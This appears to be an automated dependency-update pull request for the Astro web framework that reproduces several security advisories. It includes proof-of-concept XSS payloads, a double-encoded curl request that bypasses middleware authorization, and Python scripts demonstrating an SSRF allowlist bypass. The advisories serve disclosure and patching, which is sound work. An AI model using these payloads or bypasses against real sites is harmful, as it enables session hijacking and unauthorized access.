๐จ [security] Update astro 1.6.11 โ 7.1.3 (major)
๐จ Your current dependencies have known security vulnerabilities ๐จ
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.
What changed?
โณ๏ธ astro (1.6.11 โ 7.1.3) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Astro: XSS via unescaped spread attribute names in renderHTMLElement (incomplete fix for CVE-2026-54298)
Summary
The fix for CVE-2026-54298 (GHSA-jrpj-wcv7-9fh9) added an
INVALID_ATTR_NAME_CHARguard toaddAttribute()so that spread-prop attribute names containing"' >/=or whitespace are dropped. A second attribute-rendering path,renderHTMLElement()inpackages/astro/src/runtime/server/render/dom.ts, has its own inline attribute loop that does not go throughaddAttribute()and was not updated. It interpolates the attribute name unescaped and only escapes the value, so untrusted prop keys spread onto a native-HTMLElement-subclass component can still break out of the attribute context, resulting in XSS.Details
renderHTMLElementbuilds attributes directly:for (const attr in props) { attrHTML += ` ${attr}="${toAttributeString(await props[attr])}"`; }The attribute name (
attr) is interpolated raw; only the value is escaped viatoAttributeString. By contrast, the hardenedaddAttributeinutil.tsrejects invalid names:if (INVALID_ATTR_NAME_CHAR.test(key)) { return ''; } // /[\s"'>/=]/
renderHTMLElementis reached fromcomponent.tswhen the component is a nativeHTMLElementsubclass:if (!renderer && typeof HTMLElement === 'function' && componentIsHTMLElement(Component)) { const output = await renderHTMLElement(result, Component, _props, slots); }where
_propscarries spread props verbatim.Reachability
The branch only runs when
typeof HTMLElement === 'function'at SSR time. In default Node SSRHTMLElementisundefined, so the branch is dead. It becomes reachable when the SSR runtime exposes a globalHTMLElement(Deno, Bun with a DOM shim, or jsdom/happy-dom in Node) and a class extendingHTMLElementis used directly as an Astro component that receives untrusted-keyed spread props.Proof of Concept
Given malicious spread props:
const maliciousProps = { 'onmouseover=alert(document.domain) x': 'y', 'x><script>alert(1)</script>': 'z', };
addAttribute(post-fix) โ<my-el></my-el>(key stripped โ safe)renderHTMLElementโ<my-el onmouseover=alert(document.domain) x="y" x><script>alert(1)</script>="z"></my-el>(handler +<script>injected โ XSS)Equivalent Astro template, served by an SSR runtime that defines a global
HTMLElement:--- import MyElement from '../MyElement.js'; // class MyElement extends HTMLElement {} const userInput = Astro.url.searchParams; // untrusted keys --- <MyElement {...Object.fromEntries(userInput)} />Impact
Cross-site scripting (CWE-79) via attribute-name breakout โ the same vulnerability class as CVE-2026-54298, in a code path its fix did not cover. An attacker who controls the keys of an object spread onto a native-
HTMLElement-subclass component can inject arbitrary event-handler attributes or sibling elements (including<script>) into the SSR output. Reachability is constrained by the runtime and component preconditions described above.
๐จ Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Summary
Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.
The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional
decodeURI()operation and resolves the request to a protected route.As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.
Potential CWE: CWE-647 โ Use of Non-Canonical URL Paths for Authorization Decisions
Vulnerable Pattern
Middleware authorization sees:
/%61dminLater rewrite route matching sees:
/adminThis discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.
Root Cause
Iterative Decoding Logic
PR #16967 introduced iterative URI decoding:
let iterations = 0; while (decoded !== pathname && iterations < 10) { pathname = decoded; try { decoded = decodeURI(pathname); } catch { // decodeURI can fail when a decoded literal '%' forms an // invalid sequence with adjacent characters. break; } iterations++; } return decoded;The intent was to ensure middleware receives a fully decoded canonical pathname.
However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.
Rewrite Route Matching
Later, Astro performs another decode during route matching:
const decodedPathname = decodeURI(pathname);Consequently:
Middleware pathname: /%61dmin Route matcher: /adminThis creates a canonicalization mismatch between authorization logic and routing logic.
Proof of Concept
Middleware
import { defineMiddleware } from 'astro:middleware'; export const onRequest = defineMiddleware(async (context, next) => { const pathname = context.url.pathname; if (pathname === '/admin' || pathname.startsWith('/admin/')) { return new Response( '403 Forbidden: middleware blocked canonical /admin', { status: 403, headers: { 'content-type': 'text/plain;charset=UTF-8', 'x-middleware-pathname': pathname, }, } ); } if (pathname !== '/') { const response = await next(context.url); response.headers.set('x-middleware-pathname', pathname); response.headers.set( 'x-vuln-pattern', 'next(context.url) rewrite after pathname check' ); return response; } return next(); });The critical pattern is:
return next(context.url);The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.
Reproduction
Protected Route
curl -i http://127.0.0.1:8989/adminResponse:
HTTP/1.1 403 Forbidden x-middleware-pathname: /admin 403 Forbidden: middleware blocked canonical /admin
Bypass Request
curl -i http://127.0.0.1:8989/%252525252525252525252561dminResponse:
HTTP/1.1 200 OK x-middleware-pathname: /%61dmin x-vuln-pattern: next(context.url) rewrite after pathname check Admin page reached Protected content rendered after rewrite route matching. request url: http://127.0.0.1:8989/%61dminThis demonstrates:
Middleware saw: /%61dmin Router reached: /admin
Encoding Depth Analysis
The bypass occurs at encoding depth 11.
Decoder Trace
depth 0: /%61dmin -> /admin depth 1: /%2561dmin -> /admin depth 2: /%252561dmin -> /admin depth 3: /%25252561dmin -> /admin depth 4: /%2525252561dmin -> /admin depth 5: /%252525252561dmin -> /admin depth 6: /%25252525252561dmin -> /admin depth 7: /%2525252525252561dmin -> /admin depth 8: /%252525252525252561dmin -> /admin depth 9: /%25252525252525252561dmin -> /admin depth 10: /%2525252525252525252561dmin -> /admin depth 11: /%252525252525252525252561dmin -> /%61dminDepths 0โ10 are fully decoded and blocked by middleware.
Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.
A later
decodeURI()converts:/%61dmininto:
/adminallowing route matching to reach the protected endpoint.
Exploit Preconditions
Exploitation requires:
1. Path-Based Authorization
Middleware performs authorization using:
context.url.pathnameFor example:
if (context.url.pathname === '/admin') { block(); }2. Rewrite-Based Routing
The request is subsequently passed into Astro routing via:
next(context.url)or equivalent rewrite behavior that performs route matching after middleware execution.
Impact
An unauthenticated attacker may bypass middleware protections guarding routes such as:
/admin /api/admin /internal /dashboardif the application:
- Relies on pathname-based authorization checks.
- Uses rewrite behavior that performs route matching after middleware execution.
Affected applications may expose protected pages or APIs despite middleware restrictions.
Security Analysis
The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.
Previous advisories demonstrated bypasses using:
/%2561dminto reach:
/adminThe 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.
However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.
The existence of a decoding limit is not itself problematic.
The vulnerability arises because Astro:
- Stops decoding.
- Returns a partially canonicalized pathname.
- Performs additional decoding later during route matching.
Authorization and routing therefore operate on different pathname representations.
Recommended Fix
Do not return partially decoded pathnames when the iteration limit is exceeded.
Instead, reject the request whenever decoding has not stabilized before reaching the cap.
Example Fix
let iterations = 0; while (decoded !== pathname) { if (iterations >= 10) { throw new Error('URL encoding depth exceeded'); } pathname = decoded; try { decoded = decodeURI(pathname); } catch { break; } iterations++; } return decoded;Additional Hardening
Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent
decodeURI()on values that have already been normalized.Authorization and route matching must operate on the exact same canonical pathname representation.
Conclusion
Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.
When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.
This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.
๐จ Astro: Cross-site scripting via unescaped transition:* directive values on hydrated islands
Summary
When a
transition:persist,transition:scope, ortransition:persist-propsdirective is applied to a client-hydrated (client:*) component, Astro copied the directive value onto the rendered<astro-island>element without HTML-escaping it. If a developer reflects attacker-controlled input into one of these directives, an attacker can break out of the attribute and inject arbitrary HTML/JavaScript into the server-rendered output, resulting in reflected cross-site scripting (XSS).Severity
Although a generic reflected XSS scores in the Medium range, exploitation here requires the application developer to have written a non-idiomatic pattern โ passing untrusted, request-derived input directly into a transition directive. Astro applications that do not route untrusted input into these directives are unaffected. This mitigating precondition places the real-world severity at Low.
Details
In
generateHydrateScript()(packages/astro/src/runtime/server/hydration.ts), every island property is HTML-escaped before serialization โ theattrs,props, andoptsassignments all pass throughescapeHTML(). The transition directives, however, were copied verbatim:transitionDirectivesToCopyOnIsland.forEach((name) => { if (typeof props[name] !== 'undefined') { island.props[name] = props[name]; // not escaped } });The
<astro-island>element is serialized viarenderElement('astro-island', island, false)withshouldEscape=false, andtoAttributeString()returns the value unchanged in that mode. As a result there is no downstream re-escaping, and the raw directive value reaches the HTML response. This is the same output sink previously addressed for slot names in GHSA-8hv8-536x-4wqp.The affected directives are:
data-astro-transition-scope(transition:scope)data-astro-transition-persist(transition:persist)data-astro-transition-persist-props(transition:persist-props)Note that
transition:persistis typedboolean | string, so passing a string value is a supported use of the API.Proof of Concept
A component that reflects a query parameter into a transition directive:
--- const persist = Astro.url.searchParams.get('persist') ?? 'default'; --- <Island client:load transition:persist={persist} />Request:
https://example.com/?persist="><img src=x onerror=alert(document.domain)>Rendered output (before the fix):
<astro-island โฆ data-astro-transition-persist=""><img src=x onerror=alert(document.domain)>></astro-island>The
"closes the attribute and the injected<img onerror=โฆ>executes in the victim's browser.Impact
Reflected XSS. An attacker who can induce a victim to visit a crafted URL can execute arbitrary script in the victim's session on the origin, subject to the requirement that the target application reflects untrusted input into one of the affected transition directives.
Affected Versions
astro >= 3.10.0, < 7.0.4(introduced in 3.10.0, PR #7861).Patched Versions
astro >= 7.0.4. Fixed in PR #17212 by HTML-escaping transition directive values before they are rendered onto the island element.Workarounds
Do not pass untrusted or request-derived input into
transition:persist,transition:scope, ortransition:persist-props. If such input is required, HTML-escape or strictly validate it before passing it to the directive. Upgrading toastro@7.0.4or later removes the need for manual mitigation.Credits
Reported by @jlgore.
๐จ Astro: composable `astro/hono` pipeline bypasses `security.checkOrigin` when `middleware()` is absent or misordered
Summary
In the composable
astro/honopipeline, thesecurity.checkOriginprotection is only installed by themiddleware()primitive. Theactions()andpages()primitives each dispatch to user code independently, so a pipeline that mounts either primitive before (or without)middleware()will bypass the origin check for those requests.Details
security.checkOrigin(default:true) is intended to reject cross-sitePOST/PUT/PATCH/DELETEform submissions. In the classic pipeline (astro()all-in-one), the check always runs because Astro injects a virtual middleware module even when the user has nosrc/middleware.ts. In the composableastro/honopipeline, the user assembles primitives manually. The check is only installed insidemiddleware()โ so:
- Mounting
actions()beforemiddleware()allows cross-origin form-encoded action requests to execute before the gate runs. Theexamples/advanced-routingexample and the Cloudflarehonodocs shipped this order.- Omitting
middleware()entirely (reasonable for apps with no custom middleware) silently dropscheckOriginprotection for all on-demand endpoints and pages dispatched throughpages().The attack is a blind write-only CSRF: the attacker can trigger a state-mutating action or endpoint handler using the victim's cookies, but cannot read the cross-origin response body.
Affected versions
Astro
>= 7.0.0when using the composableastro/honopipeline with either:
actions()mounted beforemiddleware(), orpages()used withoutmiddleware()The default (non-composable) pipeline is not affected.
Fix
The origin check is now applied at each dispatch sink (
ActionHandler.handleandPagesHandler.handleWithErrorFallback), gated onmanifest.checkOrigin, using the same predicate as the middleware. The check is order-independent and a no-op whenmiddleware()has already run.Fix: #17250
Workaround
Ensure
middleware()is mounted before bothactions()andpages()in the composable pipeline, and that it is always included even when no custom middleware logic is needed:app.use(middleware()); app.use(actions()); app.use(pages());
๐จ Astro: Reflected XSS via unescaped View Transition animation properties
Summary
Astro's server-side View Transition CSS generator interpolates animation properties into an inline
<style>element without escaping them for the CSS and HTML contexts.An attacker-controlled value passed to an animation property such as
durationcan contain a</style>sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript.This is similar to GHSA-8hv8-536x-4wqp, but exploits a different injection point: unescaped View Transition animation values in a server-generated
<style>element rather than an unescaped slot name in a hydration template.Like GHSA-8hv8-536x-4wqp, exploitation requires an application to pass attacker-controlled data to an Astro API. However, the value is subsequently inserted into the HTML response without context-appropriate escaping by Astro.
Details
packages/astro/src/runtime/server/transition.tsThe generated stylesheet is wrapped in a
<style>element and marked as HTML-safe:const css = sheet.toString(); result._metadata.extraHead.push(markHTMLString(`<style>${css}</style>`));Animation properties are added to the stylesheet without escaping:
if (anim.duration) { addAnimationProperty(builder, 'animation-duration', toTimeValue(anim.duration)); }For string values,
toTimeValue()returns the input unchanged:export function toTimeValue(num: number | string) { return typeof num === 'number' ? num + 'ms' : num; }As a result, a
durationvalue containing</style>can escape from the generated style element.Other
TransitionAnimationproperties, includingeasing,direction,delay,fillMode, andname, are serialized by the same animation builder. The following PoC only relies on the officialfade()helper and itsdurationoption.PoC
Using:
astro@7.0.9@astrojs/node@11.0.2
astro.config.mjsimport node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), });
src/pages/index.astro--- import { fade } from 'astro:transitions'; const duration = Astro.url.searchParams.get('duration') ?? '300ms'; --- <html lang="en"> <head> <meta charset="utf-8" /> <title>PoC</title> </head> <body> <div transition:animate={fade({ duration })}> Animated content </div> </body> </html>Payload:
open:
http://localhost:4321/?duration=%3C%2Fstyle%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C!--The browser interprets
</style>as the end of the generated style element and executes the injected script. An alert dialog is displayed when the page is opened.![]()
Impact
An attacker who can control a View Transition animation value can execute arbitrary JavaScript in the origin of the affected Astro application.
The query-based reflected XSS scenario affects on-demand/server-rendered routes, such as:
- projects configured with
output: "server";- pages using
export const prerender = false;- other server-side data flows that pass attacker-controlled values into a View Transition animation definition.
Successful exploitation may allow access to sensitive page data and authenticated actions available to the victim.
Suggested Fix
Animation values should be serialized using context-appropriate CSS escaping or validation before being added to the generated stylesheet.
Additionally, content inserted into a raw
<style>element must not be able to contain an HTML end-tag sequence such as</style>. The final generated CSS should be made safe for the HTML raw-text context before it is passed tomarkHTMLString().
๐จ Astro: Host header SSRF in prerendered error page fetch
Summary
Astro SSR apps with prerendered error pages (
/404or/500usingexport const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived fromrequest.url, which in turn gets its origin from the incomingHostheader. When theHostheader is not validated againstallowedDomains, an attacker can point the fetch at an arbitrary host and read the response.Who is affected
This affects SSR deployments that:
- Have a prerendered 404 or 500 page
- Use
createRequestFromNodeRequestfromastro/app/nodewithapp.render()without overridingprerenderedErrorPageFetchโ this includes custom servers built on the public API and third-party adaptersNot affected:
@astrojs/node>= 9.5.4 (reads error pages from disk)@astrojs/cloudflare(uses the ASSETS binding)- The dev server (renders error pages in-process)
How it works
createRequestFromNodeRequestbuildsrequest.urlfrom the rawHost/:authorityheader. TheallowedDomainsoption is accepted but only gatesX-Forwarded-Forโ it does not constrain the URL origin. (The publiccreateRequestdoes fall back tolocalhostfor unvalidated hosts; this internal builder did not.)When
app.render()encounters a 404 or 500 with a prerendered error route,default-handler.tsconstructs the error page URL using the origin fromrequest.urland fetches it viaprerenderedErrorPageFetch, which defaults to globalfetch. The response body is served to the client.An attacker sends a request with
Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.Remediation
The error page fetch origin is now validated against
allowedDomainsbefore use. When the host is validated, the original origin is preserved. Otherwise, it falls back tolocalhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.Credit
5ud0 / Tarmo Technologies
๐จ Astro: Reflected XSS via unescaped slot name
Summary
When a component uses a
client:*directive, Astro inserts named slot content into adata-astro-templateattribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376// component.ts:371 `<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjsimport react from '@astrojs/react'; import node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), integrations: [react()], });
src/pages/index.astro--- import Wrapper from '../components/Wrapper.jsx'; const slotName = Astro.url.searchParams.get('tab') ?? 'default'; --- <html><body> <Wrapper client:load> <div slot={slotName}>content</div> </Wrapper> </body></html>
src/components/Wrapper.jsxexport default function Wrapper() { return null; }Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--Accessing this URL will trigger the popup.
![]()
This will render in html.
<template data-astro-template="abc"></template></astro-island> <img src=x onerror=confirm(document.domain)><!--">content</template>Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371 `<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`
๐จ Astro: XSS via Unescaped Attribute Names in Spread Props
Summary
The
spreadAttributesfunction in Astro's server-side rendering pipeline iterates over object keys and passes them directly toaddAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax{...props}on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers likeonmousemove,onclick, or break out of the attribute context entirely to inject new elements.Details
The vulnerable function is
addAttributeatpackages/astro/src/runtime/server/render/util.ts:81-141:export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') { if (value == null) { return ''; } return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); // key interpolated not escaped }This function is called from
spreadAttributesatpackages/astro/src/runtime/server/index.ts:91-92:for (const [key, value] of Object.entries(values)) { output += addAttribute(value, key, true, _name); }The
toAttributeStringfunction escapes the attribute value, but the attribute namekeyis never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via
{...props}. The compiler generatesspreadAttributes(props)which iterates withObject.entries()and callsaddAttribute(value, key). The key is interpolated as` ${key}="${escapedValue}"`. A malicious key breaks attribute context, resulting in XSS.POC
Create an SSR Astro page (
src/pages/index.astro):--- const props = JSON.parse(Astro.url.searchParams.get('props') || '{}'); --- <html> <body> <h1>Hello</h1> <div {...props}>Move mouse here</div> </body> </html>Enable SSR in
astro.config.mjs(for URL based demo):export default defineConfig({ output: 'server' });Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.
Start the dev server and visit:
http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}URL encoded:
http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7DView the HTML source. The output contains:
<div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>The key
x" onmousemove="alert(document.cookie)" ybreaks out of the attribute context. Moving the mouse over the div executes the JavaScript.![]()
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.
The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.
๐จ Astro: Server island encrypted parameters vulnerable to cross-component replay
Impact
Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (
p) value as another component's slots (s) value, or vice versa.Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet all of the following conditions:
- The application uses server islands
- Two different server island components share the same key name for a prop and a slot
- An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page)
These conditions are very unlikely to occur in real-world production applications.
Patches
This has been patched in astro@6.1.10.
The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like
props:IslandNameorslots:IslandName, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots.References
- Fix PR: #16457
- Example demonstrating the vulnerability: https://github.com/CyberSecurityAustria/ACSC2026-web-astronomical
๐จ Astro: XSS in define:vars via incomplete </script> tag sanitization
Summary
The
defineScriptVarsfunction in Astro's server-side rendering pipeline uses a case-sensitive regex/<\/script>/gto sanitize values injected into inline<script>tags via thedefine:varsdirective. HTML parsers close<script>elements case-insensitively and also accept whitespace or/before the closing>, allowing an attacker to bypass the sanitization with payloads like</Script>,</script >, or</script/>and inject arbitrary HTML/JavaScript.Details
The vulnerable function is
defineScriptVarsatpackages/astro/src/runtime/server/render/util.ts:42-53:export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /<\/script>/g, // โ Case-sensitive, exact match only '\\x3C/script>', )};\n`; } return markHTMLString(output); }This function is called from
renderElementatutil.ts:172-174when a<script>element hasdefine:vars:if (name === 'script') { delete props.hoist; children = defineScriptVars(defineVars) + '\n' + children; }The regex
/<\/script>/gfails to match three classes of closing script tags that HTML parsers accept per the HTML specification ยง13.2.6.4:
- Case variations:
</Script>,</SCRIPT>,</sCrIpT>โ HTML tag names are case-insensitive but the regex has noiflag.- Whitespace before
>:</script >,</script\t>,</script\n>โ after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.- Self-closing slash:
</script/>โ the tokenizer enters "self-closing start tag" state on/.
JSON.stringify()does not escape<,>, or/characters, so all these payloads pass through serialization unchanged.Execution flow: User-controlled input (e.g.,
Astro.url.searchParams) โ assigned to a variable โ passed viadefine:varson a<script>tag โrenderElementโdefineScriptVarsโ incomplete sanitization โ injected into<script>block in HTML response โ browser closes the script element early โ attacker-controlled HTML parsed and executed.PoC
Step 1: Create an SSR Astro page (
src/pages/index.astro):--- const name = Astro.url.searchParams.get('name') || 'World'; --- <html> <body> <h1>Hello</h1> <script define:vars={{ name }}> console.log(name); </script> </body> </html>Step 2: Ensure SSR is enabled in
astro.config.mjs:export default defineConfig({ output: 'server' });Step 3: Start the dev server and visit:
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>Step 4: View the HTML source. The output contains:
<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>"; console.log(name); </script>The browser's HTML parser matches
</Script>case-insensitively, closing the script block. The<img onerror=alert(document.cookie)>is then parsed as HTML and the JavaScript inonerrorexecutes.Alternative bypass payloads:
/?name=</script ><img/src=x onerror=alert(1)> /?name=</script/><img/src=x onerror=alert(1)> /?name=</SCRIPT><img/src=x onerror=alert(1)>Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to
define:varson a<script>tag. This is a documented and expected usage pattern in Astro.Exploitation enables:
- Session hijacking via cookie theft (
document.cookie)- Credential theft by injecting fake login forms or keyloggers
- Defacement of the rendered page
- Redirection to attacker-controlled domains
The vulnerability affects all Astro versions that support
define:varsand is exploitable in any SSR deployment where user input reaches adefine:varsscript variable.Recommended Fix
Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all
<characters in the JSON output:export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /</g, '\\u003c', )};\n`; } return markHTMLString(output); }This is the standard approach used by frameworks like Next.js and Rails. Replacing every
<with\u003cis safe inside JSON string contexts (JavaScript treats\u003cas<at runtime) and eliminates all possible</script>variants including case variations, whitespace, and self-closing forms.
๐จ Astro: Remote allowlist bypass via unanchored matchPathname wildcard
Summary
This issue concerns Astro's
remotePatternspath enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for/*wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request ->
transform.src->isRemoteAllowed()->matchPattern()->matchPathname()User-controlled
hrefis parsed intotransform.srcand validated viaisRemoteAllowed():Source:
astro/packages/astro/src/assets/endpoint/generic.ts
Lines 43 to 56 in e0f1a2b
const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig); const isRemoteImage = isRemotePath(transform.src); if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); }
isRemoteAllowed()checks eachremotePatternviamatchPattern():Source:
astro/packages/internal-helpers/src/remote.ts
Lines 15 to 21 in e0f1a2b
export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); }The vulnerable logic in
matchPathname()usesreplace()without anchoring the prefix for/*patterns:Source:
astro/packages/internal-helpers/src/remote.ts
Lines 85 to 99 in e0f1a2b
} else if (pathname.endsWith('/*')) { const slicedPathname = pathname.slice(0, -1); // * length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; }Vulnerable code flow:
isRemoteAllowed()evaluatesremotePatternsfor a requested URL.matchPathname()handlespathname: "/img/*"using.replace()on the URL path.- A path such as
/evil/img/secretincorrectly matches because/img/is removed even when it's not at the start.- The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only
/img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with/img/in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.Vulnerable config
import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' }, ], }, });Affected pages
This PoC targets the
/_imageendpoint directly; no additional pages are required.PoC Code
import http.client import json import urllib.parse HOST = "127.0.0.1" PORT = 4321 def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "body_snippet": body[:400], } allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="") # Both pass, second should fail results = { "allowed": fetch(f"/_image?href={allowed}&f=svg"), "bypass": fetch(f"/_image?href={bypass}&f=svg"), } print(json.dumps(results, indent=2))Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer HOST = "127.0.0.1" PORT = 9999 PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """ class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.send_response(200) self.send_header("Content-Type", "image/svg+xml") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(PAYLOAD.encode("utf-8")) return self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"ok") def log_message(self, format, *args): return if __name__ == "__main__": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serve_forever()PoC Steps
- Bootstrap default Astro project.
- Add the vulnerable config and attacker server.
- Build the project.
- Start the attacker server.
- Start the Astro server.
- Run the PoC.
- Observe the console output showing both the allowed and bypass requests returning the SVG payload.
๐จ Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765
Authentication Bypass via Double URL Encoding in Astro
Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794
Summary
A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like
/%2561dmininstead of/%61dmin, attackers can still bypass authentication and access protected resources such as/admin,/api/internal, or any route protected by middleware pathname checks.Fix
A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :
if (containsEncodedCharacters(pathname)) { // Multi-level encoding detected - reject request return new Response( 'Bad Request: Multi-level URL encoding is not allowed', { status: 400, headers: { 'Content-Type': 'text/plain' } } ); }
๐จ Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values
A mismatch exists between how Astro normalizes request paths for routing/rendering and how the applicationโs middleware reads the path for validation checks. Astro internally applies
decodeURI()to determine which route to render, while the middleware usescontext.url.pathnamewithout applying the same normalization (decodeURI).This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.
astro/packages/astro/src/vite-plugin-astro-server/request.ts
Lines 40 to 44 in ebc4b1c
